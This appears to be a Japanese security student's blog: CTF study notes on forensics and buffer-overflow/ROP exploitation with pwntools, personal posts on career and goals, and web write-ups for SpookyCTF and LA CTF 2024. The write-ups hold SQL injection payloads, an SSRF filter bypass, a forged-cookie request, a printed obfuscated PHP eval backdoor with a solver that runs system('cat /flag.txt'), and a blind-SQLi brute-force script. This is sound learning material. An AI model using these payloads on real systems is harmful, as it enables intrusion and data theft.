Forensics攻略編

  • Forensics は「どういった情報」が「どういった方法」で埋め込まれているかを推測以外にほとんど知る術がない。
    • 問題文でのヒント
  • かすかに残された痕跡や情報を頼りに試行錯誤してFLAGを探す
  • 必要知識がweb問題に続いて多い→歴史が長いから
  • すべての知識を理解するのは無謀

Forensicsで解く可能性のあるファイル一覧

  • テキストファイル、画像ファイル、動画ファイル、音声ファイル、ディスクイメージ、zipファイル、拡張子なし、何かわからないファイル

  • すべてのファイルに共通して行う処理

    • fileコマンド → まずそのzipファイルほんとにzipファイルなの?から疑う

      $ file forensics.zip

    • stringsコマンド → バイナリファイルなどから表示可能な文字列を表示してくれます

      $ strings forensics.zip

  • 挙動確認

  • 与えられている状況に類似している事例を探す
  • ツールを入れて試しまくる

事例を見つけるためのBlog

https://www.aperisolve.com/

問題を解きながらForensicsを理解しよう

pico CTF

Glory of the Garden

tunn3l v1s10n

Secret of the Polyglot

Blast from the past

BOF 攻撃のパターン

BOF(バッファオーバフロー)の解き方 ret2win編

  • 挙動を確認する
  • fileコマンド、checksecコマンドを実行する
  • ソースコードを確認する(あれば)
  • BOFの原因となる関数が使われているかを確認する
関数 説明 攻撃の可否
scanf("%s", buf) 入力時に境界チェックを行わない 可
gets(buf) 入力時に境界チェックを行わない 可
strcpy(buf1, buf2) コピー時に境界チェックを行わない 可
strcat(buf1, buf2) 連結時に境界チェックを行わない 可
sprintf(buf, format …) 書式適用後、境界チェックせずに入力し、NULL バイトを置く 可
fgets(buf, 40, stdin) 境界チェック (40バイト) を行って入力する 不可
  • 使われている場所を確認する(main関数内?main関数から呼ばれてる関数内?)
  • flagが出力される関数のアドレスを確認する(flagの関数がない場合ret2libcかも)
  • retrunアドレスまでのoffsetを確認する(pedaならproc 200、pwntoolsならcyclic)
  • pwntoolsでsolverを書く
    • offset+flag関数のアドレスを入力に設定

例題) pico CTF buffer over flow 1

next⇒

BOF(バッファオーバフロー)の解き方 ret2libc編

  • BOFの脆弱性がある
  • win関数やshellを実行してくれる関数がない
  • shellを起動するためのものを探す
  • ASLR機構(アドレス空間配置のランダム化)が無効
  • system関数を探す p system
  • /bin/shのアドレスを探す strings -tx libc | grep /bin/sh
  • pwntoolsでsolverを書く

    • payload = offset+pop rdi ret+(/bin/shのアドレス+libcのアドレス)+system()のアドレス
  • Onegadgetを探す

    • 条件そろえる必要あり
    • 条件そろえるためのROPガジェットを見つける
  • ROP

ASLRの回避

ASLR機構とは、アドレスの配置をランダムにするセキュリティ機構

  • libcのアドレス、win関数のアドレスがどこにあるかわからない

libc内のprintf関数

libc内のput関数

libcのprintf関数とput関数のアドレス差は常に同じ

libcのアドレスがわかれば、どの関数でも実行可能

libcのアドレスをリークすればよい!!

ROPが必要不可欠

pwntoolsでsolverを書く

  • 問題に接続する
io = remote('127.0.0.1', 8080)
io = process('./vuln')
elf= ELF('./vuln')
問題に直接攻撃する際にはremote , ダウンロードしたファイルに攻撃する場合はprocess
  • 文字を受け取る
msg = io.recvuntil('> ')
Please enter your string: などの入力を促す文字を受け取る、書式に合わせて''の中を変更
  • 攻撃コード(payload)を組む
pack()
 数値をbytes型に変換する
 0xf7dc9cb0などのアドレスをb'\xb0\x9c\xdc\xf7'に変換、これがないとPC君はアドレスを理解してくれない
 
unpcack()
 bytes型を数値に変換する
 
symbol[]
関数のアドレスを取得する
elf.symbols['win']でwin関数のアドレス ※packが必要
  • 攻撃コードを送る
io.sendline(payload)
io.interactive()
  • ROPを作る
elf = ELF('challenge-binary')
rop = ROP(elf)
  • 現在のROPを出力する、ROPを使える(マシンが読める)ようにする
print(rop.dump())
# 0x0000: 'AAAA' 'AAAAAAAA'
# 0x0004: 'AAAA'
# 0x0008: 0x41d870 write(1, 2, 3)
# 0x000c: 'daaa' <return address>
# 0x0010: 0x1 arg0
# 0x0014: 0x2 arg1
# 0x0018: 0x3 arg2

rop.chain()
#AAAAAAAAp�A\x00daaa\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00
  • ROPに追加する
rop.raw('AAAAAAAA')
#payloadを組んでる感じ
  • Gadgetを探す
rop.raw(rop.find_gadget(['pop rdi', 'ret'])) # pop rdi; ret
  • libc上でROPを構築
libc = ELF('./libc.so.6')
rop = ROP(libc)
libc.address = 0xdeadbeef  #libcのベースアドレスを設定

bin_sh = next(libc.search(b'/bin/sh')) #/bin/shのアドレスを見つけてくれる

rop.system(bin_sh)  # rop.call(libc.system, [bin_sh])

rop.printf() #printfのアドレスを取得して追加してくれる

rop.printf(binary.got.printf)
#1. [pop rdi; ret]  # 引数レジスタrdiに値を設定するガジェット
#2. [binary.got.printf]  # printfのGOTエントリアドレス(第一引数)
#3. [printf@plt]  # printf関数を呼び出す

2025年の抱負

初めに

あけましておめでとうございます。2025年もよろしくお願いします。
前回の記事で2024年を振り返り、多くの成長と実力不足な点を実感することができました。これらを踏まえて2025年をどう生きていくのかについて書こうと思います。

現在の私について

私は今年高専の専攻科を卒業し、春からコンサルティング会社でセキュリティエンジニアとして働きます。    趣味は、毎週末にCTFに参加することでsayonaraというチームで活動しています。 その他にも学内でセキュリティの勉強や講師として授業も行いました。

抱負

海外で働ける英語、IELTS 6.5以上  TOEIC820点以上

これから働く身ですが、将来的に国外でも働きたいので第一歩として英語を習得します。積極的に英語が話せる場所に足を運ぼうと思います。

アウトプット

昨年はblogの記事を12本書くことが目標でしたが、今年はblogだけでなく外部LT会や別媒体などのアウトプットの幅を広げたいと思います。また内容も技術以外のことも書いていきたいです高専生の端くれとして話せることもあると思うので。

早起き

毎朝7時までに起床をする。もともと朝は強い方なのですが、最近は夜遅くまで作業をして朝なかなかベットから抜け出せないことが多いので、さっさと寝て朝起きて作業するようにシフトしたいと思います。

精神面の目標

「決断」「覚悟」この2つを大切にして2025年を過ごしたいです。それっぽいことを書きましたが「決断」は、自分のことは自分で決めるといった初心を忘れないこと。そして「覚悟」は自分の決めたことを正解にするためにやり抜くためにこの2つを精神的な目標にしました。また、社会に出て新たな場所での挑戦だらけだと思うので成功しても失敗しても自分を褒め続けていきたいです。

今年も全力で生きていこうと思います。

2024年の振り返り

今週のお題「2024こんな年だった・2025こんな年にしたい」

2024年の振り返り

2024年の初めに建てた目標を一つずつ振り返っていこうと思います。

・就活を自分が納得する形で終わらせる 私の就活は3月に終わり無事第一志望の企業に内定を頂きました。 来年からセキュリティエンジニアとして働くことができるので今からとても楽しみです。

・英語の習得 英語は毎朝30分「english grammar in use」と発音をやっていましたが、夜遅くの作業やほかのプロジェクトの開発等で朝起きるのがめんどくさくなり、3カ月ほどしかできませんでした。達成したとはどう頑張っても言えません。

・CTFでwebを極める sayonaraのweb担当として今年もCTFに取り組めたのでよし!

・アウトプットする
記事を12本書く予定でしたが、これ含めて5本程度しか書くことしかできませんでした!来年はアウトプットの方法を変えながらより多くアウトプットしていきたいです。

総括

目標を全て達成できたわけではなかったですが、2024年も新たなことに挑戦しより成長できたので良い一年でした!

SpookyCTF writeup

[web] cryptid-hunters

/login.phpにusernameとpassowrdでログインできるサイトがある。その他はあまり関係なさそうなページ。
問題文にログインすべきユーザ名等の指示はなかったので、とりあえずadminでログインを試みる。

usernaem = admin'--ではだめだったので、username = admin'#を入力したらadminでログインができた。 MySQLだったのか
ログインしたページの中にFLAGがあった。

NICC{1N_PuRSu1T_0F_4LL13S}

[web] paranormal-picture [50]

URLを入力するとそのサイトにgetを送ってくれるサイト、ソースコードは長くなかったので読むと簡単に理解できる。

from flask import Flask, request, render_template
import os 
import requests

app = Flask(__name__)

def verifyBlog(url):
    blog_list = ["blog","cryptid","real","666",".org"]
    for word in blog_list:
        if word not in url:
            return False
    return True


@app.route('/', methods=['GET', 'POST'])
def index():

    if request.method == 'POST':
        url = request.form['url']
        try:
            result = verifyBlog(url)
            if not result:
                return render_template('index.html', error=f"Please submit a blog!")
        except:
            return render_template('index.html', error=f"Please submit a blog!")

        r = requests.get(url)

        return render_template('index.html', result=r.text)
    return render_template('index.html')


@app.route('/flag')
def flag():
    if request.remote_addr == '::ffff:127.0.0.1' or request.remote_addr == '::1':
        return render_template('flag.html', FLAG=os.environ.get("FLAG"))

    else:
        return render_template('alarm.html'), 403


if __name__ == '__main__':
    app.run(host="::", port=80, threaded=True)

FLAGは/flagにアクセスすることでゲットできるが、アクセスするアドレスが'::ffff:127.0.0.1' or request.remote_addr == '::1'じゃないといけない。
サイトのもう一つの機能であるGETを送る機能に/flagにアクセスさせればよい。ためhttp://localhost/flagをGETで送ればよい。しかし、
GETを送る際にblog_list = ["blog","cryptid","real","666",".org"] の文字がすべて入っていないとGETを送ることはできない。
これは#の後につけることで解決する。
最終的なリクエストは http://localhost/flag#blogcryptidreal666.orgとなる。

NICC{tHe_crYptIds_aRe_waIting_t0_sTrike}

[web] entangled-server

ソースコードがあるが、PHPが難読化されている。

<?php ${"\x47\x4c\x4f\x42\x41\x4c\x53"}['d318a0a98']="\x39\x44\x2b\x67\x4e\x7c\x52\x6b\x42\x55\x7b\x35\x41\x3f\x6f\xa\x34\x5d\x20\x30\x71\x23\x59\x58\x54\x70\x43\x69\x45\x7d\x27\x4b\x40\x6a\x56\x25\x74\x73\x63\x29\x68\x77\x3e\x37\x3c\x60\x48\x9\x76\x3d\x5a\x57\x36\x28\x5e\x3a\x38\x53\x5f\x75\x47\x2f\x61\x50\x6c\x32\x5c\xd\x62\x49\x24\x78\x6e\x46\x2d\x21\x72\x2e\x6d\x7a\x4f\x5b\x66\x79\x31\x2c\x7e\x51\x4d\x26\x65\x4a\x4c\x64\x2a\x22\x3b\x33";
$GLOBALS[$GLOBALS['d318a0a98'][68].$GLOBALS['d318a0a98'][62].$GLOBALS['d318a0a98'][62].$GLOBALS['d318a0a98'][84].$GLOBALS['d318a0a98'][11]]=$GLOBALS['d318a0a98'][38].$GLOBALS['d318a0a98'][40].$GLOBALS['d318a0a98'][76];$GLOBALS[$GLOBALS['d318a0a98'][40].$GLOBALS['d318a0a98'][90].$GLOBALS['d318a0a98'][82].$GLOBALS['d318

GLOBALSと16進数で構成されている。
とりえずネットで見つけた難読化デコーダに通してみる。

<?php

$GLOBALS['d318a0a98'] = "9D+gN|RkBU{5A?o\n4]\n0q#YXTpCiE}'K@jV%tsc)hw>7<`H\tv=ZW6(^:8S_uG/aPl2\\\rbI\$xnF-!r.mzO[fy1,~QM&eJLd*\";3";
$GLOBALS["baa15"] = "chr";
$GLOBALS["hefaea"] = "ord";
$GLOBALS["b43ce01"] = "strlen";
$GLOBALS["o2dac69"] = "ini_set";
$GLOBALS["n800cc9"] = "json_decode";
$GLOBALS["o1471614"] = "base64_decode";
$GLOBALS["vd6dfc005"] = "set_time_limit";
$GLOBALS["q109b8"] = "c484";
$GLOBALS["z2a2c835b"] = "ae858b";
$GLOBALS["ca7db"] = $_POST;
@ini_set("error_log", NULL);
@ini_set("log_errors", 0);
@ini_set("max_execution_time", 0);
@set_time_limit(0);
$k6de1cb3 = NULL;
$v24368366 = NULL;
$GLOBALS["cc688"] = "5p1n-th3-51lly-5tr1ng5";
global $cc688;
function ae858b($k6de1cb3, $rbf8cd4)
{
    $qc11 = "";
    for ($q58dcf = 0; $q58dcf < strlen($k6de1cb3);) {
        for ($ibc3 = 0; $ibc3 < strlen($rbf8cd4) && $q58dcf < strlen($k6de1cb3); $ibc3++, $q58dcf++) {
            $qc11 .= chr(ord($k6de1cb3[$q58dcf]) ^ ord($rbf8cd4[$ibc3]));
        }
    }
    return $qc11;
}
function c484($k6de1cb3, $rbf8cd4)
{
    global $cc688;
    return ae858b(ae858b($k6de1cb3, $cc688), $rbf8cd4);
}
if (!$k6de1cb3) {
    foreach ($GLOBALS["ca7db"] as $rbf8cd4 => $n18fd12d) {
        $k6de1cb3 = $n18fd12d;
        $v24368366 = $rbf8cd4;
    }
}
$k6de1cb3 = @$GLOBALS[$GLOBALS['d318a0a98'][72] . $GLOBALS['d318a0a98'][56] . $GLOBALS['d318a0a98'][19] . $GLOBALS['d318a0a98'][19] . $GLOBALS['d318a0a98'][38] . $GLOBALS['d318a0a98'][38] . $GLOBALS['d318a0a98'][0]]($GLOBALS[$GLOBALS['d318a0a98'][20] . $GLOBALS['d318a0a98'][84] . $GLOBALS['d318a0a98'][19] . $GLOBALS['d318a0a98'][0] . $GLOBALS['d318a0a98'][68] . $GLOBALS['d318a0a98'][56]]($GLOBALS[$GLOBALS['d318a0a98'][14] . $GLOBALS['d318a0a98'][84] . $GLOBALS['d318a0a98'][16] . $GLOBALS['d318a0a98'][43] . $GLOBALS['d318a0a98'][84] . $GLOBALS['d318a0a98'][52] . $GLOBALS['d318a0a98'][84] . $GLOBALS['d318a0a98'][16]]($k6de1cb3), $v24368366), true);
if (isset($k6de1cb3[$GLOBALS['d318a0a98'][62] . $GLOBALS['d318a0a98'][7]]) && $cc688 == $k6de1cb3[$GLOBALS['d318a0a98'][62] . $GLOBALS['d318a0a98'][7]]) {
    if ($k6de1cb3[$GLOBALS['d318a0a98'][62]] == $GLOBALS['d318a0a98'][90]) {
        eval($k6de1cb3[$GLOBALS['d318a0a98'][93]]);
    }
    exit;
}

大体内容がわかってきた。ae858bがxorを行う関数、c484はxorを2回してるのでdecrypto?的な役割だろうと予測できる。    さらに、k6de1cb3関数はPOSTリクエストを受け取るものだと予想できる

if (!$k6de1cb3) {
    foreach ($GLOBALS["ca7db"] as $rbf8cd4 => $n18fd12d) {
        $k6de1cb3 = $n18fd12d;
        $v24368366 = $rbf8cd4;
    }
}

このプログラムは$k6de1cb3がPOSTなので、POSTでデータを受け取るものだとわかる。
残りは、自力で直すのは骨が折れるためプログラムで自動化する
たとえば、$GLOBALS['d318a0a98'][72] はd318a0a98の72番目なので「x」となる

Replaced `72` with `x`
Replaced `56` with `8`
Replaced `19` with `0`
Replaced `19` with `0`
Replaced `38` with `c`
Replaced `38` with `c`

となる。その結果以下のプログラムができる

$k6de1cb3 = @$GLOBALS[$GLOBALS['d318a0a98']['x'] . $GLOBALS['d318a0a98']['8'] . $GLOBALS['d318a0a98']['0'] . $GLOBALS['d318a0a98']['0'] . $GLOBALS['d318a0a98']['c'] . $GLOBALS['d318a0a98']['c'] . $GLOBALS['d318a0a98']['9']]($GLOBALS[$GLOBALS['d318a0a98']['q'] . $GLOBALS['d318a0a98']['y'] . $GLOBALS['d318a0a98']['0'] . $GLOBALS['d318a0a98']['9'] . $GLOBALS['d318a0a98']['b'] . $GLOBALS['d318a0a98']['8']]($GLOBALS[$GLOBALS['d318a0a98']['o'] . $GLOBALS['d318a0a98']['y'] . $GLOBALS['d318a0a98']['4'] . $GLOBALS['d318a0a98']['7'] . $GLOBALS['d318a0a98']['y'] . $GLOBALS['d318a0a98']['6'] . $GLOBALS['d318a0a98']['y'] . $GLOBALS['d318a0a98']['4']]($k6de1cb3), $v24368366), true);
if (isset($k6de1cb3[$GLOBALS['d318a0a98']['a'] . $GLOBALS['d318a0a98']['k']]) && $cc688 == $k6de1cb3[$GLOBALS['d318a0a98']['a'] . $GLOBALS['d318a0a98']['k']]) {
    if ($k6de1cb3[$GLOBALS['d318a0a98']['a']] == $GLOBALS['d318a0a98']['&']) {
        eval($k6de1cb3[$GLOBALS['d318a0a98']['L']]);
    }
    exit;
}

GLBOALSが邪魔なので削除する

$GLOBALS["hefaea"] = "ord";
$GLOBALS["b43ce01"] = "strlen";
$GLOBALS["o2dac69"] = "ini_set";
$GLOBALS["n800cc9"] = "json_decode";
$GLOBALS["o1471614"] = "base64_decode";
$GLOBALS["vd6dfc005"] = "set_time_limit";
$k6de1cb3 = @$GLOBALS['x800cc9'](
    $GLOBALS[['qy09b8']](
        $GLOBALS[['oy47y6y4']]($k6de1cb3), 
        $v24368366
    ), 
    true
);

if (isset($k6de1cb3[['ak']]) && $cc688 == $k6de1cb3[['ak']]) {
    if ($k6de1cb3[['a']] == ['e']) {
        eval($k6de1cb3[['d']]);
    }
    exit;
}

「@$GLOBALS['n800cc9']」は"json_decode"の文字に置き換えれるので、置き換えれる文字はすべて直す。    あとは、自分で内容がわかりやすいようにすべて直す。

$k6de1cb3 = json_decode(c484(base64_decode($k6de1cb3), $v24368366), true);
if (isset($k6de1cb3[['ak']]) && $cc688 == $k6de1cb3[['ak']]) {
    if ($k6de1cb3[['a']] == ['e']) {
        eval($k6de1cb3[['d']]);
    }
    exit;
}

k6de1cb3とv24368366はPOSTでの入力となっている
これだけわかれば後は、k6de1cb3 に{"ak":"5p1n-th3-51lly-5tr1ng5","a":"e","d":"system('cat /flag.txt');"}が入るようなプログラムを作成し、リクエストを送る。以下Solver

import requests
import base64
import json

url = "http://entangled-server.niccgetsspooky.xyz:1337/"
def xor_encrypt(data, key):
    result = ""
    for i in range(len(data)):
        result += chr(ord(data[i]) ^ ord(key[i % len(key)]))
    return result

def decrypt(data, key):
    return xor_encrypt(xor_encrypt(data, "5p1n-th3-51lly-5tr1ng5"), key)

json_encoded_data = json.dumps({"ak":"5p1n-th3-51lly-5tr1ng5","a":"e","d":"system('cat /flag.txt');"})

base64_encoded_data = base64.b64encode(json_encoded_data.encode('utf-8')).decode('utf-8')

encrypted_data = xor_encrypt(xor_encrypt(base64_encoded_data, "5p1n-th3-51lly-5tr1ng5"), "5p1n-th3-51lly-5tr1ng5")
data = {
    "5p1n-th3-51lly-5tr1ng5":encrypted_data,
}

response = requests.post(url, data=data)

print("Status Code:", response.status_code)
print("Response Text:", response.text)

説明が下手ですが、最後まで見ていただきありがとうございます。

参考サイト

github.com

labs.detectify.com

脆弱性診断のアルバイトをはじめた

 はじめに

この記事では、私が脆弱性診断のアルバイトを始めた経緯についてです。
現状のプロフィールについて
高専の専攻科に属しており、セキュリティ関係の就職先も決まっています.
セキュリティの実力としては、CTFにチーム(sayonara)で参加して100位近辺です.
Webセキュリティを中心にしていますが、今までの診断士として働いたことや業務に携わった経験はありません.
以上が著者のプロフィールです。

アルバイトの経緯

アルバイトを始めようと思った経緯は、就職するまでにエンジニアとして技術力を少しでも上げておきたい気持ち半分、お金が欲しい半分です。そのため、セキュリティエンジニアとしてアルバイトする気はありませんでした。もともとWEBセキュリティが得意だったためWEB関係のバックエンドでもフロントでも働けたらいいなという心持でした。

バイト探し

アルバイトの探し方は、indeedと求人ボックスをメインで使いました。
求人ボックスが他と比べ、学生歓迎のエンジニアアルバイトが多かったです。
Webエンジニアとして働くことのできる企業さん10件弱にメッセージを送り、4社と面接を行いました。
結果は、3敗2勝でした。
その面接の中で、とある企業の面接官の方からセキュリティの実力を評価していただき、セキュリティエンジニアとしてアルバイトすることになりました。主にCTFのことを評価していただいたのでやっててよかったな思います。
セキュリティのことをやらせてもらえるならと思い、セキュリティエンジニアとしてのアルバイトを決めました。

アルバイトの内容

主には、属している企業の内部ウェブアプリケーションの脆弱性診断を行っております。ツールと手動を並行してブラックボックスで調査し、見つけた脆弱性と解決策を上司に伝えるといった感じです。
診断的なことは、bug bountyを始めていたので少しだけノウハウがあったので現在は問題なく業務を行えています。
住んでいる場所が田舎すぎるので在宅でアルバイトしています。通勤とかないので楽なのですが、やはり人と話しながらオフィスで業務することに憧れます、、

まとめ

セキュリティのアルバイトをしたと考えている人の助けになれば幸いです。あまり参考にはならないかもしれませんが、、 気になることありましたら、ご質問ください。

LA CTF 2024 Writeup

はじめに

LA CTF 2024の自分が解けたweb問についてのwriteupです。sayonaraとして参加し61位でした。

terms-and-conditions

CTFのルールが記述されたwebサイトが表示され「I Accept」のボタンを押すことができれば良いのだが、ボタンがカーソルから逃げていくので簡単には押せない。
consoleを見ようとしたが、consoleを開くと「No Console Arrowed」と表示され見れない... Javascriptがいたずらしているのかな?と思い、Edgsで「Ctrl + Shift + P」を押すとFLAGが書かれたalertが出てきた、なんで?

flaglang

Flagを得るためには「/view?countiry=Flagistan」にアクセスする必要がある。しかし、登録されているすべての国からのアクセスができないようになっている。

app.get('/view', (req, res) => {
  if (!req.query.country) {
    res.status(400).json({ err: 'please give a country' });
    return;
  }
  if (!countries.has(req.query.country)) {
    res.status(400).json({ err: 'please give a valid country' });
    return;
  }
  const country = countryData[req.query.country];
  const userISO = req.signedCookies.iso;
  if (country.deny.includes(userISO)) {
    res.status(400).json({ err: `${req.query.country} has an embargo on your country` });
    return;
  }
  res.status(200).json({ msg: country.msg, iso: country.iso });
});

userのISO情報はCookieに保存されている。Cookieは「s%3AJP.7RhDru0S3loZKUPfuc」となっている。s%3A後の2文字がISOになっているので、登録されていない架空の国にしてアクセスすることでFLAGを得ることができる。例えば、「s%3AAB.7RhDru0S3loZKUPfuc」など..

curl -b "iso=s%3AAB.gHCg19jZEIEe1cgJlABg%2BohbEaZ2Vg8VtEzJXAg1zG0" "https://flaglang.chall.lac.tf/view?count ry=Flagistan"

la housing portal

SQL injectionの脆弱性がある。しかし、「--と/*」が禁止ワードとなっている。文字数は50文字制限あり。

if (len(k) > 10 or len(v) > 50) and k != "name":
            return "Invalid form data", 422
        if "--" in k or "--" in v or "/*" in k or "/*" in v:
            return render_template("hacker.html")


def get_matching_roommates(prefs: dict[str, str]):
    if len(prefs) == 0:
        return []
    query = """
    select * from users where {} LIMIT 25;
    """.format(
        " AND ".join(["{} = '{}'".format(k, v) for k, v in prefs.items()])
    )
    conn = sqlite3.connect('file:data.sqlite?mode=ro', uri=True)

シンプルにUNIONを組めばよい。
curl -X POST -d "name=nano&guests='+UNION+SELECT+1,flag,1,1,1,1+from+'flag" "https://la-housing.chall.lac.tf /submit"

penguin-login

この問題もSQL injectionの問題。しかし、禁止ワードが「like」、許可されているのが「英数字、'{}_」

        assert all(c in allowed_chars for c in username), "no character for u uwu"
        assert all(
            forbidden not in username.lower() for forbidden in forbidden_strs
        ), "no word for u uwu"

        with conn.cursor() as curr:
            curr.execute("SELECT * FROM penguins WHERE name = '%s'" % username)
            result = curr.fetchall()

        if len(result):
            return "We found a penguin!!!!!", 200
        return "No penguins sadg", 201

SQLの実行結果が、「We found a penguin!!!!!」か「No penguins sadg」の2つのためBlind SQL injectionを組む必要がある。
Likeが使えないが、PostgresにはSIMILAR TOがあり、LIKEと同じことができる。さらに、Postgresの正規表現は_(ハイフン)が任意の位置文字とマッチする。
これらを使用しペイロードを組む。
https://www.postgresql.jp/docs/9.4/functions-matching.html
' UNION SELECT name FROM penguins WHERE name SIMILAR TO '____ これでDBにある'peng'とマッチする。
ハイフンの数を増やしていきflagの文字数を求めるスクリプトを組む。

server_url = "https://penguin.chall.lac.tf/submit"
for i in range(50):
    length_payload = "' UNION SELECT name FROM penguins WHERE name SIMILAR TO '_{"+str(i)+"}"
    data = {"username": length_payload}
    response = requests.post(server_url, data=data)
    print(response.text)
    if "We found a penguin!!!!!" in response.text:
        print(i)
        print(response.text)
        length = i

45文字だった。文字数も分かったので、1文字ずつ求めていく。

length = 45
flag = "lactf{"
for j in range(6,length):
    # if len(flag)==j:
    #     print("ok")
    for char_code in range(0x20, 0x7f):
        if char_code==95:
            char_code = 0
        payload = "' UNION SELECT name FROM penguins WHERE name SIMILAR TO '"+str(flag)+str(chr(char_code))+"_{"+str(45-(j+1))+"}"
        data = {"username": payload}
        response = requests.post(server_url, data=data)
        print(payload)
        if "We found a penguin!!!!!" in response.text:
            print(response.text)
            flag =  flag + str(chr(char_code))
            break
    if len(flag)==j:
        flag =  flag + str("_")

※lactf{の次の文字だけ見つけることができなかったので勘で乗り切った